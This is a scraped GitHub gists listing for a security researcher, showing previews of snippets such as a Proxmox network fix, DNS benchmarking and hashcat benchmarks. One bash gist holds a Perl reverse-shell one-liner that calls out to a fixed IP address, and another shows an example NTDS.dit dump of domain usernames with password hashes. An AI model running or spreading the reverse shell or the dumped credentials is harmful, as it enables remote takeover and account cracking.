Skip to content

Instantly share code, notes, and snippets.

View crypt0rr's full-sized avatar

Bart crypt0rr

View GitHub Profile
@crypt0rr
crypt0rr / fix.md
Last active April 24, 2025 06:26
Intel e1000e fix - Proxmox

Fix Intel e1000e error

Please note - you may want to validate whether the options used affect your setup.

Create a new service file.

nano /etc/systemd/system/disable-offloading.service
import argparse
import ipaddress
from os import path
from time import sleep
from shlex import split
from scapy.all import sniff
from threading import Thread
from subprocess import Popen, PIPE
valid_ranges = []
@crypt0rr
crypt0rr / dns.sh
Created October 9, 2024 14:09
DNS Performance Tester - Based on DNSperf
#!/bin/bash
# Ubuntu / Debian dnsperf is required to run this script, follow the installation steps below
## sudo apt-get update && sudo apt-get install -y build-essential libbind-dev libkrb5-dev libssl-dev libcap-dev libxml2-dev wget curl
## wget https://www.dns-oarc.net/files/dnsperf/dnsperf-2.3.3.tar.gz
## tar -xvzf dnsperf-2.3.3.tar.gz
## cd dnsperf-2.3.3
## ./configure
## make
## sudo make install
#!/bin/bash
perl -e 'use Socket;$i="5.200.18.86";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
@crypt0rr
crypt0rr / drive-format-ubuntu.md
Created August 9, 2024 09:22 — forked from keithmorris/drive-format-ubuntu.md
Partition, format, and mount a drive on Ubuntu
@crypt0rr
crypt0rr / ntds-dump-f1.offsec.nl.txt
Last active April 1, 2024 14:49
Example NTDS.dit extracted
Administrator:500:aad3b435b51404eeaad3b435b51404ee:97f2592347d8fbe42be381726ff9ea83:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:bbbbcf5d3fcb24d91698cd17dd0d640e:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f00c75a12fefab106e16c74c082b843:::
f1.offsec.nl\BRIDGETTE_CALLAHAN:1602:aad3b435b51404eeaad3b435b51404ee:6bdb94707d98ac9eb486989d1dbf6b0d:::
f1.offsec.nl\TORY_CERVANTES:1603:aad3b435b51404eeaad3b435b51404ee:140ec540c41944ea5dedb89a58cd92f1:::
f1.offsec.nl\REBEKAH_PETERSEN:1604:aad3b435b51404eeaad3b435b51404ee:db12cfb6302db93179eaf050a8439fa8:::
f1.offsec.nl\RICKEY_HIGGINS:1605:aad3b435b51404eeaad3b435b51404ee:1d6793803e52e071bd01d68308f6d2fd:::
f1.offsec.nl\DANE_NICHOLSON:1606:aad3b435b51404eeaad3b435b51404ee:81b78933ac37de73c40cf223ada25386:::
f1.offsec.nl\LUKE_ROWLAND:1607:aad3b435b51404eeaad3b435b51404ee:72c4becebddbf5f97aa07ed84e3896cf:::
f1.offsec.nl\CLIFF_ENGLAND:1608:aad3b435b51404eeaad3b435b51404ee:8419e3e6597b3a79279d5df9cb7719e4:::
@crypt0rr
crypt0rr / wordcloud.py
Last active October 4, 2023 19:00
wordcloud.py
# Requirements: python3 -m pip install wordcloud matplotlib
import matplotlib.pyplot as plt
from wordcloud import WordCloud
# Your text data (replace this with your own text)
text = """
"Access Control"
"Application Security"
"Assessment"
@crypt0rr
crypt0rr / hashcat_v6.2.6_Apple_m1pro_benchmark.txt
Created March 17, 2023 14:56
hashcat_v6.2.6_Apple_m1pro_benchmark
hashcat (v6.2.6) starting in benchmark mode
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
* Device #2: Apple's OpenCL drivers (GPU) are known to be unreliable.
You have been warned.
@crypt0rr
crypt0rr / hashcat_v6.2.6_Apple_m2pro_benchmark.txt
Created March 17, 2023 14:54
hashcat_v6.2.6_Apple_m2pro_benchmark
hashcat (v6.2.6-304-g1ac309149) starting in benchmark mode
Benchmarking uses hand-optimized kernel code by default.
You can use it in your cracking session by setting the -O option.
Note: Using optimized kernel code limits the maximum supported password length.
To disable the optimized kernel code in benchmark mode, use the -w option.
The device #1 has been disabled as it most likely also exists as an OpenCL device, but it is not possible to automatically map it.
You can use -d 1 to use Metal API instead of OpenCL API. In some rare cases this is more stable.
@crypt0rr
crypt0rr / hashcat_v6.2.6_NVIDIA_m1200_benchmark.txt
Created March 16, 2023 15:55
hashcat_v6.2.6_NVIDIA_m1200_benchmark
hashcat (v6.2.6-123-gc35d8ecfd) starting in benchmark mode
* Device #1: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
* Device #2: WARNING! Kernel exec timeout is not disabled.
This may cause "CL_OUT_OF_RESOURCES" or related errors.
To disable the timeout, see: https://hashcat.net/q/timeoutpatch
CUDA API (CUDA 12.0)
====================